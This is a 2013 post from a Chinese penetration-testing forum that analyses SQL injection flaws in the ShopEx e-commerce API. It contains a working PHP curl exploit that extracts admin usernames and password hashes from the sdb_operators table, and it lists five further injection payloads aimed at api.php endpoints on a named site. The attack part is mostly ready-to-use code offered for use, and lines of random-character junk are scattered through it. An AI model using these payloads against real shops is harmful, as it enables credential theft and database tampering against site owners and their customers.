中国网络渗透测试联盟
标题:
shopEx最新版的API注入漏洞分析附利用exp
[打印本页]
作者:
admin
时间:
2013-7-27 18:34
标题:
shopEx最新版的API注入漏洞分析附利用exp
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
# J7 k( ^8 l# F3 ]$ J+ @9 ^
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
7 Y) p: o) j* R! J0 R
5 s5 t1 [! ?; P' E/ e6 O- Y
第44行 $data['columns'] 未做过滤导致注入
1 z3 }5 B! P( n! n
: T' f% ]0 w6 M9 c" [+ ~
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
5 S. r) y/ p* [7 I* J# S5 ]
S" ^ W' N0 N/ v* {
注射1:
$ B: G9 G' h4 ~
7 ~% h- x: n% A3 l; ~5 L
http://www.0day5.com/api.php
POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
3 u8 p' u" Z9 u# I6 z
# E- W0 ?+ \7 w4 p: V9 S- m) T
注射2:
: r9 m% @5 a5 i1 I; k
http://www.0day5.com/shopex/api.php
act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
+ i9 ?0 [( q1 l( {
% r/ v$ b% ~, v7 ?
注射3:
2 k3 d- G. e% v' X. h4 S) @0 q- U
http://www.0day5.com/shopex/api.php
act=get_spec_single&api_version=3.1&spec_id=1 xxx
2 p6 O/ z& H# u8 @2 {8 p
注射4:
! n& f! G0 J! T+ w+ G) B+ g
( A1 e' E: M9 T* Z% Z
http://www.0day5.com/shopex/api.php
act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
2 D7 V2 Y2 K/ c9 `! [: _
9 b1 l ~0 @) v9 M
! m& b) r) R; w# d' P) U
注射5:
$ g2 F( n- G( ~, V7 {
http://www.0day5.com/shopex/api.php
act=search_dly_h_area&return_data=string&columns=xxxxx
. U8 ]) D) U3 @8 m. }
) r! F$ w K+ J4 l/ K# q' T ^
/ o% }: _: S5 x% ~4 F6 }/ a
5 J$ G5 b9 Y5 E3 M9 l
# Q7 f* c$ `4 n; U
, L: I6 Y/ M' p1 m" M4 h; k: b
9 O0 q1 Y" |, w! j8 {3 t/ T
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2